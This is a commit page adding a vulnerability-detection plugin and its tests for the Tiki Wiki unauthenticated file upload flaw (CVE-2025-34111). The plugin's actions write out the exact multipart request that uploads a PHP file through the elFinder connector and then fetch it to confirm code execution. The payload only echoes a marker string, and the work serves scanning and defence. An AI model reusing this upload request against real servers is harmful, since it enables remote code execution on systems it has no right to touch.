Skip to content

Commit d541c98

Browse files
Merge pull request #696 from crackatoa:tikiwiki-cve-2025-34111
PiperOrigin-RevId: 816659329 Change-Id: I20b01152d889774fb3f5c9184456016fe38a7123
2 parents a639e91 + 108103c commit d541c98

File tree

2 files changed

+168
-0
lines changed

2 files changed

+168
-0
lines changed
Lines changed: 101 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,101 @@
1+
# proto-file: proto/templated_plugin.proto
2+
# proto-message: TemplatedPlugin
3+
4+
###############
5+
# PLUGIN INFO #
6+
###############
7+
8+
info: {
9+
type: VULN_DETECTION
10+
name: "Tikiwiki_CVE_2025_34111"
11+
12+
version: "1.0"
13+
}
14+
15+
finding: {
16+
main_id: {
17+
publisher: "GOOGLE"
18+
value: "CVE-2025-34111"
19+
}
20+
severity: CRITICAL
21+
title: "Tiki Wiki Unauthenticated File Upload (CVE-2025-34111)"
22+
description: "Tiki Wiki versions <= 15.1 are susceptible to unauthenticated file upload that leads to remote code execution. A remote and unauthenticated attacker can send crafted HTTP requests from this endpoint to upload malicious php file to get remote code execution."
23+
recommendation: "Update Tiki Wiki to version 15.2 or later."
24+
related_id: {
25+
publisher: "CVE"
26+
value: "CVE-2025-34111"
27+
}
28+
}
29+
30+
config: {}
31+
32+
###########
33+
# ACTIONS #
34+
###########
35+
36+
actions: {
37+
name: "tikiwiki_fingerprint"
38+
http_request: {
39+
method: GET
40+
uri: "/tiki-index.php"
41+
response: {
42+
http_status: 200
43+
expect_all: {
44+
conditions: [
45+
{ body: {} contains: "Tiki Wiki CMS" }
46+
]
47+
}
48+
}
49+
}
50+
}
51+
52+
actions: {
53+
name: "tikiwiki_upload_php_webshell"
54+
http_request: {
55+
method: POST
56+
uri: "/vendor_extra/elfinder/php/connector.minimal.php"
57+
headers: [
58+
{ name: "Content-Type" value: "multipart/form-data; boundary=da77a42118180b4af01977b6627ab7ab" }
59+
]
60+
data: "--da77a42118180b4af01977b6627ab7ab\r\nContent-Disposition: form-data; name=\"cmd\"\r\n\r\nupload\r\n--da77a42118180b4af01977b6627ab7ab\r\nContent-Disposition: form-data; name=\"target\"\r\n\r\nl1_Lw\r\n--da77a42118180b4af01977b6627ab7ab\r\nContent-Disposition: form-data; name=\"upload[]\"; filename=\"tsunami_security_scan.php\"\r\nContent-Type: application/octet-stream\r\n\r\n<?php echo \"valid_\" . \"{{ payload }}\";?>\r\n--da77a42118180b4af01977b6627ab7ab--\r\n"
61+
response: {
62+
http_status: 200
63+
expect_all:{
64+
conditions:[
65+
{ body: {} contains: "added" }
66+
]
67+
}
68+
}
69+
}
70+
}
71+
72+
actions: {
73+
name: "tikiwiki_trigger_code_execution"
74+
http_request: {
75+
method: GET
76+
uri: "/vendor_extra/elfinder/files/tsunami_security_scan.php"
77+
response: {
78+
http_status: 200
79+
expect_all: {
80+
conditions: [
81+
{ body: {} contains: "valid_tsunami" }
82+
]
83+
}
84+
}
85+
}
86+
}
87+
88+
#############
89+
# WORKFLOWS #
90+
#############
91+
92+
workflows: {
93+
variables: [
94+
{ name: "payload" value:"tsunami_{{ T_UTL_CURRENT_TIMESTAMP_MS }}"}
95+
]
96+
actions: [
97+
"tikiwiki_fingerprint",
98+
"tikiwiki_upload_php_webshell",
99+
"tikiwiki_trigger_code_execution"
100+
]
101+
}
Lines changed: 67 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,67 @@
1+
# proto-file: proto/templated_plugin_tests.proto
2+
# proto-message: TemplatedPluginTests
3+
4+
config: {
5+
tested_plugin: "Tikiwiki_CVE_2025_34111"
6+
}
7+
8+
tests: {
9+
name: "whenVulnerable_returnsTrue"
10+
expect_vulnerability: true
11+
12+
mock_http_server: {
13+
mock_responses: [
14+
{
15+
uri: "/tiki-index.php"
16+
status: 200
17+
body_content: '<meta name="generator" content="Tiki Wiki CMS Groupware">'
18+
},
19+
{
20+
uri: "/vendor_extra/elfinder/php/connector.minimal.php"
21+
status: 200
22+
body_content: "added"
23+
},
24+
{
25+
uri: "/vendor_extra/elfinder/files/tsunami_security_scan.php"
26+
status: 200
27+
body_content: "valid_tsunami"
28+
}
29+
]
30+
}
31+
}
32+
33+
tests: {
34+
name: "whenNotVulnerable_returnsFalse"
35+
expect_vulnerability: false
36+
37+
mock_http_server: {
38+
mock_responses: [
39+
{
40+
uri: "/tiki-index.php"
41+
status: 200
42+
body_content: '<meta name="generator" content="Tiki Wiki CMS Groupware - https://tiki.org">'
43+
},
44+
{
45+
uri: "/vendor_extra/elfinder/php/connector.minimal.php"
46+
status: 200
47+
body_content: "error"
48+
}
49+
]
50+
}
51+
}
52+
53+
tests: {
54+
name: "whenNotTikiwiki_returnsFalse"
55+
expect_vulnerability: false
56+
57+
mock_http_server: {
58+
mock_responses: [
59+
{
60+
uri: "TSUNAMI_MAGIC_ANY_URI"
61+
status: 200
62+
body_content: "Hello world"
63+
}
64+
]
65+
}
66+
}
67+

0 commit comments

Comments
 (0)